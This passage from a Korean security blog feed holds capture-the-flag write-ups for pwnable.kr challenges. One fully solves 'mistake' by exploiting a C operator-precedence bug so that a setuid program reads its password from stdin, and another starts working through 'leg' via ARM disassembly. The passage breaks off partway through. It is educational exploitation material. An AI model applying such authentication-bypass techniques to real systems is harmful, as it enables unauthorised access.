&lt;pre class=&quot;brush:plain&quot;&gt;mistake@ubuntu:~$ ls -l
total 24
-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag
-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake
-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c
-r-------- 1 mistake_pwn root      10 Jul 29  2014 password&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;소스, 바이너리, 플래그 파일 이외에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;패스워드 파일&lt;/b&gt;이 존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i&amp;lt;len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &amp;lt; 0){
                printf(&quot;can't open password %d\n&quot;, fd);
                return 0;
        }

        printf(&quot;do not bruteforce...\n&quot;);
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) &amp;gt; 0)){
                printf(&quot;read error\n&quot;);
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf(&quot;input password : &quot;);
        scanf(&quot;%10s&quot;, pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf(&quot;Password OK\n&quot;);
                system(&quot;/bin/cat flag\n&quot;);
        }
        else{
                printf(&quot;Wrong Password\n&quot;);
        }

        close(fd);
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;언뜻 봐서는 별&amp;nbsp;문제&amp;nbsp;없어 보입니다,&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;패스워드 파일을 읽고,&lt;b&gt;&amp;nbsp;xor 1&lt;/b&gt; 을 한 후에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;사용자 입력과 비교해서 같으면 통과시킬 것 같죠.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;int fd;
if(fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &amp;lt; 0){
		printf(&quot;can't open password %d\n&quot;, fd);
		return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하지만 잘 보면 무언가 이상한 점이 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;파일 디스크립터&lt;/b&gt;를 얻고, 유효한지 비교하는 부분에 말이죠.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;open&lt;/b&gt; 함수로 &lt;b&gt;파일 디스크립터&lt;/b&gt;를 얻고&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;fd 에 대입한 다음, fd 를 0 과 비교해&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;음수일 경우 파일을 여는데에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실패했다고 판단해서 종료해야 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그런데 C언어에서는 &lt;b&gt;관계연산자&lt;/b&gt;가&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;대입연산자&lt;/b&gt;보다 &lt;a href=&quot;https://en.cppreference.com/w/c/language/operator_precedence&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;우선순위&lt;/a&gt;가 높기 때문에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;파일 디스크립터 &amp;lt; 0&lt;/b&gt; 의 불리언 값이 fd에 대입됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;때문에 fd는 항상 0이라 종료될 리가&amp;nbsp;없지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;결론적으로 fd는 &lt;b&gt;0(STDIN)&lt;/b&gt;이 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:c&quot;&gt;printf(&quot;do not bruteforce...\n&quot;);
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) &amp;gt; 0)){
		printf(&quot;read error\n&quot;);
		close(fd);
		return 0;
}&lt;/pre&gt;&lt;div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;read&lt;/b&gt; 함수가 참조하는&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;디스크립터는 &lt;b&gt;STDIN&lt;/b&gt;&amp;nbsp;입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 우리가 입력을 하지 않으면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;sleep&lt;/b&gt; 함수가 종료되어도&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;패스워드를 입력하라는 문장은 나타나지 않습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;어쩌면 이 부분에 혼동을 주기 위해서&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;sleep&lt;/b&gt; 함수를 넣은 것일지도 모르겠네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i&amp;lt;len; i++){
                s[i] ^= XORKEY;
        }
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;사용자의 입력에 &lt;b&gt;xor 1&lt;/b&gt; 을 수행하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;패스워드 파일 대신에 사용될&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;10 글자&amp;nbsp;입력을 해주신 후에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;xor 1&lt;/b&gt; 한 문장을 재입력하면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;플래그 휙득이 가능하겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/70</guid>
      <comments>https://posix.tistory.com/70#entry70comment</comments>
      <pubDate>Fri, 8 Feb 2019 08:04:33 +0900</pubDate>
    </item>
    <item>
      <title>Leg 문제풀이</title>
      <link>https://posix.tistory.com/68</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 8번 문제.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ARM Assembly 의 반대를 Leg 라고 표현하는&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;고급 유머가 들어있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;ssh&lt;/b&gt; 에 접속하게 되면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;busybox&lt;/b&gt; 환경으로 &lt;b&gt;기본 명령어&lt;/b&gt;들을 제외하고는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;대부분 사용이 불가능하므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 읽고&amp;nbsp;풀어내야 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
int key1(){
	asm(&quot;mov r3, pc\n&quot;);
}
int key2(){
	asm(
	&quot;push	{r6}\n&quot;
	&quot;add	r6, pc, $1\n&quot;
	&quot;bx	r6\n&quot;
	&quot;.code   16\n&quot;
	&quot;mov	r3, pc\n&quot;
	&quot;add	r3, $0x4\n&quot;
	&quot;push	{r3}\n&quot;
	&quot;pop	{pc}\n&quot;
	&quot;.code	32\n&quot;
	&quot;pop	{r6}\n&quot;
	);
}
int key3(){
	asm(&quot;mov r3, lr\n&quot;);
}
int main(){
	int key=0;
	printf(&quot;Daddy has very strong arm! : &quot;);
	scanf(&quot;%d&quot;, &amp;amp;key);
	if( (key1()+key2()+key3()) == key ){
		printf(&quot;Congratz!\n&quot;);
		int fd = open(&quot;flag&quot;, O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf(&quot;I have strong leg :P\n&quot;);
	}
	return 0;
}&lt;/pre&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c &amp;lt;+0&amp;gt;:	push	{r4, r11, lr}
   0x00008d40 &amp;lt;+4&amp;gt;:	add	r11, sp, #8
   0x00008d44 &amp;lt;+8&amp;gt;:	sub	sp, sp, #12
   0x00008d48 &amp;lt;+12&amp;gt;:	mov	r3, #0
   0x00008d4c &amp;lt;+16&amp;gt;:	str	r3, [r11, #-16]
   0x00008d50 &amp;lt;+20&amp;gt;:	ldr	r0, [pc, #104]	; 0x8dc0 &amp;lt;main+132&amp;gt;
   0x00008d54 &amp;lt;+24&amp;gt;:	bl	0xfb6c &amp;lt;printf&amp;gt;
   0x00008d58 &amp;lt;+28&amp;gt;:	sub	r3, r11, #16
   0x00008d5c &amp;lt;+32&amp;gt;:	ldr	r0, [pc, #96]	; 0x8dc4 &amp;lt;main+136&amp;gt;
   0x00008d60 &amp;lt;+36&amp;gt;:	mov	r1, r3
   0x00008d64 &amp;lt;+40&amp;gt;:	bl	0xfbd8 &amp;lt;__isoc99_scanf&amp;gt;
   0x00008d68 &amp;lt;+44&amp;gt;:	bl	0x8cd4 &amp;lt;key1&amp;gt;
   0x00008d6c &amp;lt;+48&amp;gt;:	mov	r4, r0
   0x00008d70 &amp;lt;+52&amp;gt;:	bl	0x8cf0 &amp;lt;key2&amp;gt;
   0x00008d74 &amp;lt;+56&amp;gt;:	mov	r3, r0
   0x00008d78 &amp;lt;+60&amp;gt;:	add	r4, r4, r3
   0x00008d7c &amp;lt;+64&amp;gt;:	bl	0x8d20 &amp;lt;key3&amp;gt;
   0x00008d80 &amp;lt;+68&amp;gt;:	mov	r3, r0
   0x00008d84 &amp;lt;+72&amp;gt;:	add	r2, r4, r3
   0x00008d88 &amp;lt;+76&amp;gt;:	ldr	r3, [r11, #-16]
   0x00008d8c &amp;lt;+80&amp;gt;:	cmp	r2, r3
   0x00008d90 &amp;lt;+84&amp;gt;:	bne	0x8da8 &amp;lt;main+108&amp;gt;
   0x00008d94 &amp;lt;+88&amp;gt;:	ldr	r0, [pc, #44]	; 0x8dc8 &amp;lt;main+140&amp;gt;
   0x00008d98 &amp;lt;+92&amp;gt;:	bl	0x1050c &amp;lt;puts&amp;gt;
   0x00008d9c &amp;lt;+96&amp;gt;:	ldr	r0, [pc, #40]	; 0x8dcc &amp;lt;main+144&amp;gt;
   0x00008da0 &amp;lt;+100&amp;gt;:	bl	0xf89c &amp;lt;system&amp;gt;
   0x00008da4 &amp;lt;+104&amp;gt;:	b	0x8db0 &amp;lt;main+116&amp;gt;
   0x00008da8 &amp;lt;+108&amp;gt;:	ldr	r0, [pc, #32]	; 0x8dd0 &amp;lt;main+148&amp;gt;
   0x00008dac &amp;lt;+112&amp;gt;:	bl	0x1050c &amp;lt;puts&amp;gt;
   0x00008db0 &amp;lt;+116&amp;gt;:	mov	r3, #0
   0x00008db4 &amp;lt;+120&amp;gt;:	mov	r0, r3
   0x00008db8 &amp;lt;+124&amp;gt;:	sub	sp, r11, #8
   0x00008dbc &amp;lt;+128&amp;gt;:	pop	{r4, r11, pc}
   0x00008dc0 &amp;lt;+132&amp;gt;:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 &amp;lt;+136&amp;gt;:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 &amp;lt;+140&amp;gt;:			; &amp;lt;UNDEFINED&amp;gt; instruction: 0x0006a4b0
   0x00008dcc &amp;lt;+144&amp;gt;:			; &amp;lt;UNDEFINED&amp;gt; instruction: 0x0006a4bc
   0x00008dd0 &amp;lt;+148&amp;gt;:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008cdc &amp;lt;+8&amp;gt;:	mov	r3, pc
   0x00008ce0 &amp;lt;+12&amp;gt;:	mov	r0, r3
   0x00008ce4 &amp;lt;+16&amp;gt;:	sub	sp, r11, #0
   0x00008ce8 &amp;lt;+20&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec &amp;lt;+24&amp;gt;:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008cf8 &amp;lt;+8&amp;gt;:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc &amp;lt;+12&amp;gt;:	add	r6, pc, #1
   0x00008d00 &amp;lt;+16&amp;gt;:	bx	r6
   0x00008d04 &amp;lt;+20&amp;gt;:	mov	r3, pc
   0x00008d06 &amp;lt;+22&amp;gt;:	adds	r3, #4
   0x00008d08 &amp;lt;+24&amp;gt;:	push	{r3}
   0x00008d0a &amp;lt;+26&amp;gt;:	pop	{pc}
   0x00008d0c &amp;lt;+28&amp;gt;:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 &amp;lt;+32&amp;gt;:	mov	r0, r3
   0x00008d14 &amp;lt;+36&amp;gt;:	sub	sp, r11, #0
   0x00008d18 &amp;lt;+40&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c &amp;lt;+44&amp;gt;:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008d28 &amp;lt;+8&amp;gt;:	mov	r3, lr
   0x00008d2c &amp;lt;+12&amp;gt;:	mov	r0, r3
   0x00008d30 &amp;lt;+16&amp;gt;:	sub	sp, r11, #0
   0x00008d34 &amp;lt;+20&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 &amp;lt;+24&amp;gt;:	bx	lr
End of assembler dump.
(gdb) &lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;leg.c 에 key을 알아내는 부분을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;어셈블리&lt;/b&gt;로 구성해&amp;nbsp;&amp;nbsp;무슨 값인지 알기 힘듭니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;/ $ uname -a
Linux (none) 3.11.4 #5 Sat Oct 12 00:15:00 EDT 2013 armv5tejl GNU/Linux&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;gcc&lt;/b&gt;, &lt;b&gt;vc&lt;/b&gt;, &lt;b&gt;clang&lt;/b&gt; 모두에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;돌려 보았는데 작동이 되질 않아서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;무슨 일이지&amp;nbsp;했더니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;자주보던 &lt;b&gt;intel 어셈블리&lt;/b&gt;가 아닌&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.naver.com/gangst11/145839687&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;b&gt;ARM 어셈블리&lt;/b&gt;&lt;/a&gt;였군요..&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그래서 사용환경을&amp;nbsp;가상 &lt;b&gt;busybox&lt;/b&gt;로 구성했나 봅니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[2,4,7]&quot;&gt;   0x00008d68 &amp;lt;+44&amp;gt;:	bl	0x8cd4 &amp;lt;key1&amp;gt;
   0x00008d6c &amp;lt;+48&amp;gt;:	mov	r4, r0
   0x00008d70 &amp;lt;+52&amp;gt;:	bl	0x8cf0 &amp;lt;key2&amp;gt;
   0x00008d74 &amp;lt;+56&amp;gt;:	mov	r3, r0
   0x00008d78 &amp;lt;+60&amp;gt;:	add	r4, r4, r3
   0x00008d7c &amp;lt;+64&amp;gt;:	bl	0x8d20 &amp;lt;key3&amp;gt;
   0x00008d80 &amp;lt;+68&amp;gt;:	mov	r3, r0
   0x00008d84 &amp;lt;+72&amp;gt;:	add	r2, r4, r3
   0x00008d88 &amp;lt;+76&amp;gt;:	ldr	r3, [r11, #-16]
   0x00008d8c &amp;lt;+80&amp;gt;:	cmp	r2, r3&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;arm 어셈블리&lt;/b&gt;에 대한 문서를 읽고보니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;key&lt;/b&gt; 함수를 호출하고나서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;r0&lt;/b&gt; 인자의 값을 사용하여 연산하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;intel x86&lt;/b&gt; 에서 &lt;b&gt;eax&lt;/b&gt; 에 리턴값을 전달해 주는 것처럼&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기에서는 &lt;b&gt;r0 레지스터&lt;/b&gt;가 그 역할을 하고 있나봅니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[4,5]&quot;&gt;Dump of assembler code for function key1:
   0x00008cd4 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008cdc &amp;lt;+8&amp;gt;:	mov	r3, pc
   0x00008ce0 &amp;lt;+12&amp;gt;:	mov	r0, r3
   0x00008ce4 &amp;lt;+16&amp;gt;:	sub	sp, r11, #0
   0x00008ce8 &amp;lt;+20&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec &amp;lt;+24&amp;gt;:	bx	lr&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 &lt;b&gt;key&lt;/b&gt;&amp;nbsp;함수에서 &lt;b&gt;r0&lt;/b&gt;에 값을 저장하는 값이&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;곧 리턴값이라는 것이지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 &lt;b&gt;key1&lt;/b&gt; 의 리턴값은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0x00008cdc&lt;/b&gt; 실행시의 &lt;b&gt;pc&lt;/b&gt; 값이 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 547px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BD8C455C5C771C04&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BD8C455C5C771C04&quot; width=&quot;547&quot; height=&quot;191&quot; filename=&quot;c0098890_4a23cbf9bc249.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;pc&lt;/b&gt; 값을 구하는 데에 필요한 개념이 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;ARM&lt;/b&gt; 은 &lt;b&gt;ARM7DMI&lt;/b&gt; 버전부터 파이프라인이라는 개념을 도입하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;실행 중인 다음의 명령어를 동시에 &lt;b&gt;decode&lt;/b&gt; 하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다다음의 명령어를 &lt;b&gt;fetch&lt;/b&gt; 함으로서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;실행 속도를&amp;nbsp;보다 효율적으로&amp;nbsp;하였는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;때문에 &lt;b&gt;ARM 프로세서&lt;/b&gt;의 &lt;b&gt;pc&lt;/b&gt; 값은 다다음 명령어의 주소값이 되겠네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;This results in the typical ARM program being denser than expected with fewer memory accesses; thus the pipeline is used more efficiently.

The ARM processor also has features rarely seen in other RISC architectures, such as PC-relative addressing (indeed, on the 32-bit[1] ARM the PC is one of its 16 registers) and pre- and post-increment addressing modes.

The ARM instruction set has increased over time. Some early ARM processors (before ARM7TDMI), for example, have no instruction to store a two-byte quantity.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사실 여기에서 의문점이 하나 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;분명 3단계 파이프라인 개념이 도입된&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;arm7tdml&lt;/b&gt; 버전 이전에는 2 바이트 양을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;저장하는 지침이 &lt;a href=&quot;https://en.wikipedia.org/wiki/ARM_architecture#Pipelines_and_other_implementation_issues&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;없었다&lt;/a&gt;고 하는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그 이전 환경인 &lt;b&gt;armv5teji&lt;/b&gt; 을 사용하는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이번 &lt;b&gt;pwnable.kr&lt;/b&gt; 환경에서는&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;pc&lt;/b&gt; 값이 두 단계 앞에 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;혹시 이유를 아시는 분은 댓글로 달아주시면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;감사하겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[4,5]&quot;&gt;Dump of assembler code for function key1:
   0x00008cd4 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008cdc &amp;lt;+8&amp;gt;:	mov	r3, pc
   0x00008ce0 &amp;lt;+12&amp;gt;:	mov	r0, r3
   0x00008ce4 &amp;lt;+16&amp;gt;:	sub	sp, r11, #0
   0x00008ce8 &amp;lt;+20&amp;gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec &amp;lt;+24&amp;gt;:	bx	lr&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다시 &lt;b&gt;key1&lt;/b&gt; 함수로 돌아와서 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0x00008cdc&lt;/b&gt; 에서의 &lt;b&gt;pc&lt;/b&gt; 값이 곧 리턴값이니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;두 바이트 앞의 값인&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;0x00008ce4&lt;/b&gt; 가 &lt;b&gt;key1()&lt;/b&gt;이 되겠군요.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[7,8,12]&quot;&gt;Dump of assembler code for function key2:
   0x00008cf0 &amp;lt;+0&amp;gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 &amp;lt;+4&amp;gt;:	add	r11, sp, #0
   0x00008cf8 &amp;lt;+8&amp;gt;:	push	{r6}		; (str r6, [sp, #-4]!)
